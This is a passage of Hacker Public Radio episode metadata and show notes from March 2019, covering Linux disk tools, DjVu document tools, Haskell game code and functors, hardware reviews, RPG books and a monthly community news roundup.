                                                            \nUser-friendly udisks:\n

                                                            \n\n
                                                            \n$ udisks --monitor /dev\nCtrl-c\n$ udisk --enumerate | sort\n/org/freedesktop/UDisks/devices/sda\n/org/freedesktop/UDisks/devices/sda1\n/org/freedesktop/UDisks/devices/sda2\n/org/freedesktop/UDisks/devices/sdb\n/org/freedesktop/UDisks/devices/sdc\n/org/freedesktop/UDisks/devices/sdc1\n[...]\n$ udisks --mount /dev/sdc1\nMounted /dev/sdc1 on /media/mythumbdrive\n$ udisks --unmount /dev/sdc1\n
                                                            \n","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"fdisk,dmesg,lsblk,udisks","version":0,"downloads":0,"valid":1}, {"id":2767,"date":"2019-03-12","title":"Djvu and other paperless document formats","duration":1935,"summary":"A tutorial on how to read and generate djvu files","notes":"

                                                            \nDjVu is a digital document format with advanced compression technology. \nDjVu allows for the distribution of very high resolution images of scanned documents, digital documents, and photographs. \nDjVu viewers are available for the web browser (search for djvujs in Firefox for an extension), the desktop ( Evince, Okular an BSD/Linux, and djview on BSD/Linux/Windows/Mac), and mobile devices.\n

                                                            \n\n

                                                            \nThe toolchain for encoding and decoding DjVu is \ndjvulibre\n

                                                            \n

                                                            \ndjvu.js is a Javascript library useful for online viewing.\n

                                                            \n\n

                                                            \ndjvu.org contains sample documents and specification documents.

                                                            \n\n

                                                            Creating a djvu file

                                                            \n\n

                                                            \nThe tool you use to convert something to the .djvu format depends on your requirements. If you're converting a basic, black-and-white document, then cjb2 (part of the djvulibre distribution) works:\n

                                                            \n\n
                                                            \n$ cjb2 -dpi 300 foo.tiff\n$ ls\nfoo.tiff\nfoo.djvu\n
                                                            \n\n

                                                            \nIf you want to convert something more complex, then use c44 (also a part of the djvulibre distribution):\n

                                                            \n\n
                                                            \n$ c44 -dpi 300 bar.jpg bar.djvu\n$ ls\nbar.jpg\nbar.djvu\n
                                                            \n\n

                                                            \nTo put both of these files in a single DjVu container:\n

                                                            \n\n
                                                            \n$ djvm -c baz.djvu foo.djvu bar.djvu\n$ ls\nbar.djvu\nbaz.djvu\nfoo.djvu\n
                                                            \n\n

                                                            \nYou can add bookmarks, too.\nOpen a text file called book.marks (or any name you prefer) and enter:\n

                                                            \n\n

                                                            \n(bookmarks\n(\"Foo\" \"#1\")\n(\"Bar\" \"#2\")\n)\n
                                                            \n\n

                                                            \nAnd then apply it to your DjVu file:\n

                                                            \n\n
                                                            \n$ djvused -e 'set-outline book.marks' -s baz.djvu\n
                                                            \n\n

                                                            \nThere's more you can do with DjVu, but this has been an overview of how I use it.\n

                                                            \n","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"pdf, ebook, bloat, djvu","version":0,"downloads":0,"valid":1}, {"id":2768,"date":"2019-03-13","title":"Writing Web Game in Haskell - Planetary statuses","duration":1122,"summary":"Tuula describes system for recording planetary statuses in their game","notes":"

                                                            Intro

                                                            \n

                                                            In episode hpr2748 Writing Web Game in Haskell - Special events, I talked about how to add special events in the game. One drawback with the system presented there was that the kragii worms might attack planet that already had kragii worms present. This time we’ll look into how to prevent this. As a nice bonus, we also come up with system that can be used to record when a planet has particularly good harvest season.

                                                            \n

                                                            Data types and Database

                                                            \n

                                                            We need a way to represent different kinds of statuses that a planet might have. These will include things like on going kragii attack or a particularly good harvest season. And since these are will be stored in database, we are also going to use derivePersistField to generate code needed for that.

                                                            \n
                                                            data PlanetaryStatus =\n    GoodHarvest\n    | PoorHarvest\n    | GoodMechanicals\n    | PoorMechanicals\n    | GoodChemicals\n    | PoorChemicals\n    | KragiiAttack\n\nderivePersistField "PlanetaryStatus"
                                                            \n

                                                            We could have recorded statuses as strings, but declaring a separate data type means that compiler can catch typos for us. It also makes code easier to read as PlanetaryStatus is much more informative than String or Text.

                                                            \n

                                                            For database, we use following definition shown below in models file. It creates database table planet_status and respective Haskell data type PlanetStatus. There will be one row in database for each status that a planet has. I could have stored all statuses in a list and store that in database, effectively having one row for any planet. Now there’s one row for any planet + status combination. Choice wasn’t really based on any deep analysis, but merely a gut feeling that this feels like a good idea.

                                                            \n
                                                            PlanetStatus json\n    planetId PlanetId\n    status PlanetaryStatus\n    expiration Int Maybe\n    deriving Show Read Eq
                                                            \n

                                                            expiration column doesn’t have NOT NULL constraint like all other columns in the table. This is reflected in PlanetStatus record where data type of planetStatusExpiration is Maybe Int instead of Int. So some statuses will have expiration time, while others might not. I originally chose to represent time as Int instead of own data type, but I have been recently wondering if that was really a good decision.

                                                            \n

                                                            Kragii attack, redux

                                                            \n

                                                            Code that does actual database query looks pretty scary on a first glance and it’s rather long. First part of the code is there to query database and join several tables into the query. Second part of the code deals with counting and grouping data and eventually returning [Entity Planet] data that contains all planets that match the criteria.

                                                            \n
                                                            -- | Load planets that are kragii attack candidates\nkragiiTargetPlanets :: (MonadIO m, BackendCompatible SqlBackend backend\n                           , PersistQueryRead backend, PersistUniqueRead backend) =>\n                           Int -> Int -> Key Faction -> ReaderT backend m [Entity Planet]\nkragiiTargetPlanets pop farms fId = do\n    planets <- E.select $\n        E.from $ (planet `E.LeftOuterJoin` population `E.LeftOuterJoin` building `E.LeftOuterJoin` status) -> do\n            E.on (status E.?. PlanetStatusPlanetId E.==. E.just (planet E.^. PlanetId)\n                  E.&&. status E.?. PlanetStatusStatus E.==. E.val (Just KragiiAttack))\n            E.on (building E.?. BuildingPlanetId E.==. E.just (planet E.^. PlanetId))\n            E.on (population E.?. PlanetPopulationPlanetId E.==. E.just (planet E.^. PlanetId))\n            E.where_ (planet E.^. PlanetOwnerId E.==. E.val (Just fId)\n                      E.&&. building E.?. BuildingType E.==. E.val (Just Farm)\n                      E.&&. E.isNothing (status E.?. PlanetStatusStatus))\n            E.orderBy [ E.asc (planet E.^. PlanetId) ]\n            return (planet, population, building)\n    let grouped = groupBy ((a, _, _) (b, _, _) -> entityKey a == entityKey b) planets\n    let counted = catMaybes $ fmap farmAndPopCount grouped\n    let filtered = filter ((_, p, f) ->\n                                p >= pop\n                                || f >= farms) counted\n    let mapped = fmap ((ent, _, _) -> ent) filtered\n    return mapped
                                                            \n

                                                            In any case, when we’re querying for possible kragii attack candidates, the query selects all planets that are owned by a given faction and have population of at least 10 (left outer join to planet_population table), have at least 5 farming complex (left outer join to building table) and don’t have on going kragii attack (left outer join to planet_status table). This is encapsulated in kragiiTargetPlanets 10 5 function in the kragiiAttack function shown below.

                                                            \n

                                                            Rest of the code deals with selecting a random planet from candidates, inserting a new planet_status row to record that kragii are attacking the planet and creating special event so player is informed about the situation and can react accordingly.

                                                            \n
                                                            kragiiAttack date faction = do\n    planets <- kragiiTargetPlanets 10 5 $ entityKey faction\n    if length planets == 0\n        then return Nothing\n        else do\n            n <- liftIO $ randomRIO (0, length planets - 1)\n            let planet = maybeGet n planets\n            let statusRec = PlanetStatus <$> fmap entityKey planet\n                                         <*> Just KragiiAttack\n                                         <*> Just Nothing\n            _ <- mapM insert statusRec\n            starSystem <- mapM (getEntity . planetStarSystemId . entityVal) planet\n            let event = join $ kragiiWormsEvent <$> planet <*> join starSystem <*> Just date\n            mapM insert event
                                                            \n

                                                            Second piece to the puzzle is status removal. In can happen manually or automatically when the prerecorded date has passed. Former method is useful for special events and latter for kind of seasonal things (good harvest for example).

                                                            \n

                                                            For example, in case of removing kragii attack status, code below serves as an example. The interesting part is deleteWhere that does actual database activity and removes all KragiiAttack statuses from given planet.

                                                            \n
                                                            removeNews event odds = MaybeT $ do\n    res <- liftIO $ roll odds\n    case res of\n        Success -> do\n            _ <- lift $ deleteWhere [ PlanetStatusPlanetId ==. kragiiWormsPlanetId event\n                                    , PlanetStatusStatus ==. KragiiAttack\n                                    ]\n            _ <- tell [ WormsRemoved ]\n            return $ Just RemoveOriginalEvent\n        Failure -> do\n            _ <- tell [ WormsStillPresent ]\n    return $ Just KeepOriginalEvent
                                                            \n

                                                            Removal of expired statuses is done based on the date, by using <=. operator to compare expiration column to given date.

                                                            \n
                                                            _ <- deleteWhere [ PlanetStatusExpiration <=. Just date]
                                                            \n

                                                            Other uses and further plans

                                                            \n

                                                            Like mentioned before, planet statuses can be used for variety of things. One such application is recording particularly good (or poor) harvest season. When such thing occurs, new planet_status record is inserted into database with expiration to set some suitable point in future. System will then automatically remove the status after that date is reached.

                                                            \n

                                                            In the meantime, every time food production is calculated, we have to check for possible statuses that might affect it and take them into account (as form of small bonus or malus).

                                                            \n

                                                            While this system is for planet statuses only, similar systems can be build for other uses (like statuses that affect a single ship or whole star system).

                                                            \n

                                                            Easiest way to catch me nowadays is either via email or on fediverse where I’m Tuula@mastodon.social

                                                            \n","hostid":364,"series":107,"explicit":0,"license":"CC-BY-SA","tags":"haskell","version":0,"downloads":0,"valid":1}, {"id":2769,"date":"2019-03-14","title":"Quick Review of the AstroAI WH5000A Multimeter","duration":1455,"summary":"NYbill reviews, yet another, inexpensive multimeter.","notes":"

                                                            NYbill does yet another inexpensive multimeter review. This time the AstroAI WH5000A. (Its time for a multimeter intervention!)

                                                            \n

                                                            The meter:

                                                            \n\n

                                                            Pics for the episode:

                                                            \n","hostid":235,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"multimeter, electronics, test equipment, hardware review","version":0,"downloads":0,"valid":1}, {"id":2770,"date":"2019-03-15","title":"Navigating the maze of RPG books","duration":1873,"summary":"There are so many kinds of RPG books out there, where do you start? Klaatu tells all!","notes":"

                                                            \nTaxonomy of RPG-related books:\n

                                                            \n\n
                                                              \n
                                                            1. \nRulebooks tell you how to play the game.\n

                                                            2. \n
                                                            3. \nOptional books of rules add modular components to the base game. They add nuance to specific actions (for example, a book might add rules on owning and managing a castle in a fantasy world, or it might add rules on hacking in a sci fi game; these are things you can do without rules in the game, but if you want added stakes, then these books are ones you would want to obtain).\n

                                                            4. \n
                                                            5. \nAdventures (formerly called \"modules\") provide game plots and locations, in the event that you have no interest in designing your own.\n

                                                            6. \n
                                                            7. \nSource books or \"settings\" provide additional information on the setting of a game, sometimes even providing an alternate game universe with additional rules.\n

                                                            8. \n
                                                            9. \nExtra media, like novels, comics, movies, and video games, provide more information (sometimes in canon, sometimes not) about the game universe in which you are playing. Rarely do these have impact on the rules of the game, but they may provide a common language and shared experience for the players.\n

                                                            10. \n
                                                            \n\n

                                                            \nThe only essential purchase is the rulebook. Everything else can be generated by gamers. Purchasing additional material is optional, and can either be seen as a great way to support a company providing your entertainment, or as an insidious plot by greedy corporations to rope you into a perpetual cycle of capitalism. However, RPG is a pretty healthy (and often open) system, so free and open content abounds.\n

                                                            \n\n\n","hostid":78,"series":95,"explicit":0,"license":"CC-BY-SA","tags":"book,rpg,game","version":0,"downloads":0,"valid":1}, {"id":2771,"date":"2019-03-18","title":"Embedding hidden text in Djvu files","duration":2476,"summary":"Part 2 of Klaatu's Djvu mini series","notes":"

                                                            \nTo embed text into a Djvu file, you must create a djvused script detailing the page and bitmap location of one of: character, word, line, paragraph, or region.\n

                                                            \n\n

                                                            \nFor good measure, you should first list the contents of your Djvu bundle:\n

                                                            \n\n
                                                            $ djvused -e 'select; ls' test.djvu\n   1 P   177062  p0001.djvu\n   2 P   199144  p0002.djvu\n   3 P    12323  p0003.djvu\n   4 P    57059  p0004.djvu\n   5 P    96725  p0005.djvu\n   6 P    53868  p0006.djvu\n
                                                            \n\n

                                                            \nThen define the location of text in a file called, for instance, content.dsed. Assume that my page is 1000 px by 1000 px:\n

                                                            \n\n
                                                            select; remove-ant; remove-txt\n\nselect \"p0004.djvu\" # page 4\nset-txt\n(page 0 0 1000 1000\n (word 100 600 450 800 \"Hello\" )\n (word 100 600 450 800 \"world\" ))\n\n.\n\nselect \"p0005.djvu\"\nset-txt\n(page 0 0 1000 1000\n (line 100 400 900 600 \"Hacker Puppy Radio\"))\n
                                                            \n\n

                                                            \nApply this script to your Djvu file with dvjused:\n

                                                            \n\n
                                                            djvused -f ./content.dsed -s test.djvu\n
                                                            \n\n

                                                            Converting from PDF to Djvu

                                                            \n\n

                                                            \nYou can convert PDF files to Djvu with the djvudigital command. Due to license incompatibility, it does require you to compile a Ghostscript plugin, but it's an easy build. Get the gsdjvu code, and then follow its README instructions.\n

                                                            \n\n

                                                            \nOnce you've built the Ghostscript driver, you can convert PDF to Djvu:\n

                                                            \n\n
                                                            djvudigital --words foo.pdf foo.djvu\n
                                                            \n","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"pdf, ebook, bloat, djvu","version":0,"downloads":0,"valid":1}, {"id":2772,"date":"2019-03-19","title":"My applications and software part 3","duration":585,"summary":"A short show about the software I use in Linux Mint","notes":"

                                                            Hallo HPR listeners – in my recent episodes hpr2738 and hpr2746 I talked about some of the applications and software I regularly use as part of my day to day use of Linux Mint. This follow up show will continue with a few more of the same.

                                                            \n
                                                              \n
                                                            • CUPS – Common Unix Printing Software; printing in Linux with this utility is fairly well supported, if you don’t have a very recent printer it’s a good chance that CUPS will be able to find a driver for your printer if a Linux one has not been supplied when you bought it or through the manufacturers support site. In the menu just search for print and it will bring up the application for adding a new printer.

                                                            • \n
                                                            • Gparted – fully featured disc management tool for formatting and partitioning discs

                                                            • \n
                                                            • Document viewer – generic pdf viewer

                                                            • \n
                                                            • Software manager

                                                              \n
                                                                \n
                                                              • Synaptic package manager
                                                              • \n
                                                            • \n
                                                            • Terminal – apt command for updating the system and installing new software

                                                            • \n
                                                            • get_iplayer

                                                            • \n
                                                            \n","hostid":338,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Software, applications, utilities","version":0,"downloads":0,"valid":1}, {"id":2773,"date":"2019-03-20","title":"Lead/Acid Battery Maintenance and Calcium Charge Voltage","duration":1869,"summary":"Discussion on installing new Calcium battery into older vehicle and resulting maintenance issues.","notes":"

                                                            Although Lead/Acid batteries are old tech, the use of Calcium as an alloy metal has been a more modern development. Unfortunately many people do not realize this causes an incompatibility with older vehicles due to charging voltage. This episode discusses the use of smart chargers for long term battery maintenance.

                                                            ","hostid":373,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"automotive, battery, maintenance, charger","version":0,"downloads":0,"valid":1}, {"id":2774,"date":"2019-03-21","title":"CJDNS and Yggdrasil","duration":629,"summary":"A summary of the things I like about CJDNS and Yggdrasil, and the places I think they could improve.","notes":"

                                                            This is my first time doing this sort of thing, so I’m sorry if it’s not very good.

                                                            \n","hostid":374,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"CJDNS,Yggdrasil","version":0,"downloads":0,"valid":1}, {"id":2775,"date":"2019-03-22","title":"My YouTube Subscriptions #4","duration":1198,"summary":"Part four of my list of subscribed channels","notes":"

                                                            I am subscribed to a number of YouTube channels, and I am sharing them with you

                                                            \n\n","hostid":198,"series":106,"explicit":0,"license":"CC-BY-SA","tags":"YouTube, Channels, Subscriptions","version":0,"downloads":0,"valid":1}, {"id":2776,"date":"2019-03-25","title":"Sub-Plots In Storytelling","duration":1093,"summary":"Lostnbronx looks at the importance of tightly-structured subplots in storytelling.","notes":"

                                                            What makes for strong subplots? Why can some subplots be chopped out of a tale without harming it? Why can some be chopped out, and it actually makes the tale stronger? Is this modular approach the best way to bring in subplots, or is there another method that might be better?

                                                            \n

                                                            Story construction is a complicated topic; Lostnbronx tries (and largely fails) to make sense of this small part of it.

                                                            \n","hostid":107,"series":105,"explicit":0,"license":"CC-BY-SA","tags":"stories, storytelling, sub-plots, lostnbronx","version":0,"downloads":0,"valid":1}, {"id":2777,"date":"2019-03-26","title":"The quest for the perfect laptop.","duration":1867,"summary":"Knightwise is out looking for a new laptop and describes what he is looking for and why.","notes":"

                                                            Looking for a new laptop.

                                                            \n

                                                            Candidates

                                                            \n
                                                              \n
                                                            • HP Envy x360
                                                            • \n
                                                            • Lenovo X280
                                                            • \n
                                                            • Lenovo X380
                                                            • \n
                                                            • Lenovo X380 Yoga
                                                            • \n
                                                            • Lenovo X1
                                                            • \n
                                                            • Lenovo X1 Yoga
                                                            • \n
                                                            \n","hostid":111,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"computer, hardware, geek, buy","version":0,"downloads":0,"valid":1}, {"id":2778,"date":"2019-03-27","title":"Functor and applicative in Haskell","duration":1841,"summary":"Brief introduction on functor and applicative patterns in Haskell and where they can be used","notes":"

                                                            Two common patterns that I seem to run all the time while working on my 4x space game are functor and applicative. This episode explains them briefly.

                                                            \n

                                                            Functor

                                                            \n

                                                            Functor is a way to apply function over a structure we don’t want to alter. Type of the structure stays same, but values inside of it can change. One of the most common one is list, but there are many others.

                                                            \n

                                                            Functor type class is defined below. There’s one function fmap that takes two parameters: a function from a to b and structure f a. Result will be structure f b.

                                                            \n
                                                            class Functor f where\n    fmap :: (a -> b) -> f a -> f b
                                                            \n

                                                            This is fairly abstract, so couple example might help. First we define a little helper function that raises it’s argument to 2nd power (in the episode I talk about doubling the value, my mistake there).

                                                            \n
                                                            -- | this really raises x to 2nd power and doesn't double it\ndouble x = x * x
                                                            \n

                                                            Given a list of Int we can raise them to power of two by using fmap:

                                                            \n
                                                            > fmap double [1, 2, 3, 4, 5]\n[1, 4, 9, 16, 25]
                                                            \n

                                                            Since function being applied to structure is type of (a -> b), we can change type of the value inside of the structure. Below is example of turning list of Int to list of Text.

                                                            \n
                                                            > fmap show [1, 2, 3, 4, 5]\n["1", "2", "3", "4", "5"]
                                                            \n

                                                            This pattern isn’t limited to list and there are many others. You can even define your own ones, if you’re so inclined. The pattern stays the same. One function, fmap, that takes function of type (a -> b) and structure f a and turns it into structure of f b. Details how this is actually done depend on the specific functor.

                                                            \n

                                                            Other common functor is Maybe that is often used in cases where data might or might not be present. Maybe a has two possible values Just a indicating that value a is present and Nothing indicating that there is no value present. When fmap is used in this context, Just a will turn to Just b and Nothing will stay as Nothing.

                                                            \n
                                                            > fmap (x -> x * x) $ Just 2\nJust 4\n> fmap (x -> x * x) Nothing\nNothing
                                                            \n

                                                            Either a b is sometimes used for value that can be correct or an error. It has two value constructors Right b indicates that value is correct, Left a indicates an error case. a and b don’t have to be of same type (and usually aren’t). For example, if we have Either Text Int, then we have value where error case is Text and correct value is Int.

                                                            \n
                                                            > fmap double $ Right 5\nRight 25\n> fmap double $ Left "distance calculation failed because of flux-capacitor malfunction"\nLeft "distance calculation failed because of flux-capacitor malfunction"
                                                            \n

                                                            Functors can be placed inside of functors. The only difference is that you have to reach through multiple layers. Simplest way of doing that is to compose multiple fmap functions together like in the example below. Pay attention to in which order nested functors are defined as Maybe [Int] and [Maybe Int] are different things. Former is for case where list of Int might or might not be present. Latter is for case where there’s always list, but single element inside of the list might or might not be present.

                                                            \n
                                                            > (fmap . fmap) double (Just [1, 2, 3, 4])\nJust [1, 4, 9, 16]\n> (fmap . fmap) double Nothing :: Maybe Int\nNothing\n> (fmap . fmap) double [Just 1, Just 2, Nothing, Just 3]\n[Just 1, Just 4, Nothing, Just 9]
                                                            \n

                                                            There’s also infix operator, that does exactly same thing as fmap, called <$>. The choice which one to use is often either personal or depends on the surrounding code (because Haskell doesn’t use parenthesis in function application, so sometimes it’s easier to use fmap and sometimes <$>).

                                                            \n
                                                            > fmap show [1, 2, 3, 4, 5]\n["1", "2", "3", "4", "5"]\n\n> show <$> [1, 2, 3, 4, 5]\n["1", "2", "3", "4", "5"]
                                                            \n

                                                            There are many more functors, one place to check them is: https://hackage.haskell.org/package/base-4.12.0.0/docs/Data-Functor.html

                                                            \n

                                                            Applicative

                                                            \n

                                                            While functor works fine when function applied has only one parameter, we need applicative in cases of multiparameter functions. Calling fmap (+) [1, 2] will produce list of functions waiting for second parameter. While it would be possible to handle these cases manually, we like to abstract it to more general solution.

                                                            \n
                                                            class Functor f => Applicative f where\n    pure :: a -> f a\n    (<*>) :: f (a -> b) -> f a -> f b
                                                            \n

                                                            Applicative is similar to functor. The big difference is that function being applied is now embedded inside of same type of structure. While functor has (a -> b), applicative has f (a -> b).

                                                            \n

                                                            Below is an example of using list applicative to calculate all possible ways of summing two lists of Int.

                                                            \n
                                                            > (+) <$> [1, 2, 3] <*> [4, 5, 6]\n[5,6,7,6,7,8,7,8,9]
                                                            \n

                                                            Maybe Int works with the same pattern. First we use <$> to get started, this results Maybe containing a function that is waiting for second parameter. Then we use <*> to apply the second parameter so we get the result.

                                                            \n
                                                            > (+) <$> Just 2 <*> Just 5\nJust 7\n> (+) <$> Just 2 <*> Nothing\nNothing
                                                            \n

                                                            As long as there’s only Just a in play, result is Just, but as soon as there’s even single Nothing the end result will be nothing.

                                                            \n

                                                            If you have questions or comments, I would be delighted to hear about them. You can catch me on fediverse, where I’m Tuula@mastodon.social. Even better, you could record your own HPR episode.

                                                            \n

                                                            Ad astra!

                                                            \n","hostid":364,"series":107,"explicit":0,"license":"CC-BY-SA","tags":"haskell, functor, applicative","version":0,"downloads":0,"valid":1}, {"id":2779,"date":"2019-03-28","title":"HTTP, IPFS, and torrents","duration":711,"summary":"Replacing the web with new, decentralized protocols","notes":"

                                                            Some ramblings about how we might replace HTTP with more robust, decentralized protocols.

                                                            \n","hostid":374,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"HTTP, IPFS, torrents","version":0,"downloads":0,"valid":1}, {"id":2780,"date":"2019-03-29","title":"My SBC Nextcloud Install Pt. 1 - Hardware","duration":1375,"summary":"How I built my self-enclosed Nextcloud server using a single board computer and a RAID enclosure","notes":"

                                                            I explain the build process for my home Nextcloud server using a single board computer and a 4 bay RAID enclosure. This is part 1 of a 3 part series.

                                                            \n

                                                            My parts list for the server build:

                                                            \n\n

                                                            minnix at uymail dot com for help, questions, or just general chatter

                                                            \n","hostid":375,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"nextcloud,single board computer,home server,sbc,arm","version":0,"downloads":0,"valid":1}, {"id":2781,"date":"2019-04-01","title":"HPR Community News for March 2019","duration":3564,"summary":"HPR Volunteers talk about shows released and comments posted in March 2019","notes":"\n

                                                            Spoiler

                                                            \n

                                                            Dave has not left and HPR has not sold out

                                                            \n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new hosts:
                                                            \n\n Floyd C Poynter, \n aldenp, \n minnix.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
                                                            IdDayDateTitleHost
                                                            2760Fri2019-03-01What is VNFJWP
                                                            2761Mon2019-03-04HPR Community News for February 2019HPR Volunteers
                                                            2762Tue2019-03-05What You Really Arelostnbronx
                                                            2763Wed2019-03-06Deepgeek explains SPF recordsklaatu
                                                            2764Thu2019-03-07Personal password algorithmsklaatu
                                                            2765Fri2019-03-08My YouTube Subscriptions #3Ahuka
                                                            2766Mon2019-03-11Disk enumeration on Linuxklaatu
                                                            2767Tue2019-03-12Djvu and other paperless document formatsklaatu
                                                            2768Wed2019-03-13Writing Web Game in Haskell - Planetary statusesTuula
                                                            2769Thu2019-03-14Quick Review of the AstroAI WH5000A MultimeterNYbill
                                                            2770Fri2019-03-15Navigating the maze of RPG booksklaatu
                                                            2771Mon2019-03-18Embedding hidden text in Djvu filesklaatu
                                                            2772Tue2019-03-19My applications and software part 3Tony Hughes AKA TonyH1212
                                                            2773Wed2019-03-20Lead/Acid Battery Maintenance and Calcium Charge VoltageFloyd C Poynter
                                                            2774Thu2019-03-21CJDNS and Yggdrasilaldenp
                                                            2775Fri2019-03-22My YouTube Subscriptions #4Ahuka
                                                            2776Mon2019-03-25Sub-Plots In Storytellinglostnbronx
                                                            2777Tue2019-03-26The quest for the perfect laptop.knightwise
                                                            2778Wed2019-03-27Functor and applicative in HaskellTuula
                                                            2779Thu2019-03-28HTTP, IPFS, and torrentsaldenp
                                                            2780Fri2019-03-29My SBC Nextcloud Install Pt. 1 - Hardwareminnix
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.
                                                            \nThere are 24 comments in total.

                                                            \n

                                                            There are 3 comments on\n3 previous shows:

                                                            \n
                                                            • hpr2708\n(2018-12-19) \"Ghostscript\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nKlaatu on 2019-03-07:\n\"You're welcome\"

                                                              \n
                                                            • hpr2749\n(2019-02-14) \"Lostnbronx and Klaatu commentary from episode 2743\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nKlaatu on 2019-03-07:\n\"We are stupid\"

                                                              \n
                                                            • hpr2759\n(2019-02-28) \"Cleaning the Potentiometers on a Peavey Bandit 65\"\nby Jon Kulp.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nJon Kulp on 2019-03-02:\n\"Never too much about 80s gear\"

                                                              \n
                                                            \n

                                                            There are 21 comments on 12 of this month's shows:

                                                            \n
                                                            • hpr2761\n(2019-03-04) \"HPR Community News for February 2019\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMike Ray on 2019-03-04:\n\"Media embedded show notes\"

                                                              \n
                                                            • hpr2762\n(2019-03-05) \"What You Really Are\"\nby lostnbronx.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTuula on 2019-03-05:\n\"oh, wow\"

                                                              \n
                                                            • hpr2763\n(2019-03-06) \"Deepgeek explains SPF records\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMr. Young on 2019-03-09:\n\"Thanks for the help\"
                                                              • Comment 2:\npauleb on 2019-03-11:\n\"Great explanation!\"

                                                              \n
                                                            • hpr2764\n(2019-03-07) \"Personal password algorithms\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nSteve on 2019-03-12:\n\"LessPass\"

                                                              \n
                                                            • hpr2766\n(2019-03-11) \"Disk enumeration on Linux\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nJoel D on 2019-03-12:\n\"The Letters C and F\"
                                                              • Comment 2:\nKlaatu on 2019-03-13:\n\"Thanks for the info Joel\"
                                                              • Comment 3:\nAhuka on 2019-03-14:\n\"Old drive letters\"

                                                              \n
                                                            • hpr2768\n(2019-03-13) \"Writing Web Game in Haskell - Planetary statuses\"\nby Tuula.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKlaatu on 2019-03-15:\n\"Agog and aghast\"
                                                              • Comment 2:\nTuula on 2019-03-15:\n\"this made my week\"

                                                              \n
                                                            • hpr2773\n(2019-03-20) \"Lead/Acid Battery Maintenance and Calcium Charge Voltage\"\nby Floyd C Poynter.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTuula on 2019-03-20:\n\"Good to know\"
                                                              • Comment 2:\nNybill on 2019-03-20:\n\"Good Info\"

                                                              \n
                                                            • hpr2774\n(2019-03-21) \"CJDNS and Yggdrasil\"\nby aldenp.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTuula on 2019-03-21:\n\"fascinating\"
                                                              • Comment 2:\nBrian-in-Ohio on 2019-03-21:\n\"more shows\"
                                                              • Comment 3:\nnorrist on 2019-03-21:\n\"gentoo\"
                                                              • Comment 4:\nGavtres on 2019-03-25:\n\"IPv6 end to end encryption\"

                                                              \n
                                                            • hpr2776\n(2019-03-25) \"Sub-Plots In Storytelling\"\nby lostnbronx.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\noperat0r on 2019-03-25:\n\"fun stuff\"

                                                              \n
                                                            • hpr2777\n(2019-03-26) \"The quest for the perfect laptop.\"\nby knightwise.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nBeeza on 2019-03-29:\n\"Computer Requirements Specification\"

                                                              \n
                                                            • hpr2778\n(2019-03-27) \"Functor and applicative in Haskell\"\nby Tuula.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nBeeza on 2019-03-28:\n\"Intuitiveness Of Haskell\"
                                                              • Comment 2:\nTuula on 2019-03-29:\n\"thanks and great idea\"

                                                              \n
                                                            • hpr2779\n(2019-03-28) \"HTTP, IPFS, and torrents\"\nby aldenp.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nHipstre on 2019-03-31:\n\"Enjoyed it, sounded great\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2019-March/thread.html\n\n\n

                                                            Any other business

                                                            \n

                                                            Mint Cast

                                                            \n

                                                            \nDid we mention the The Mint Cast ?\n

                                                            \n

                                                            Sorry Yannick!

                                                            \n

                                                            There was a misunderstanding about Yannick’s show 2740 when it was discussed on the February Community News. The show was about Pop_OS!, a subject Yannick had also spoken about previously on an edition of the TuxJam podcast.

                                                            \n

                                                            The misunderstanding was that we thought this might have gone against guidelines on syndication, where in fact it did not. It was merely a case of the same subject being spoken about by the same person on two different podcasts.

                                                            \n

                                                            Change to the host page

                                                            \n

                                                            The page for each host:

                                                            \n
                                                            https://hackerpublicradio.org/correspondents/NNNN.html
                                                            \n

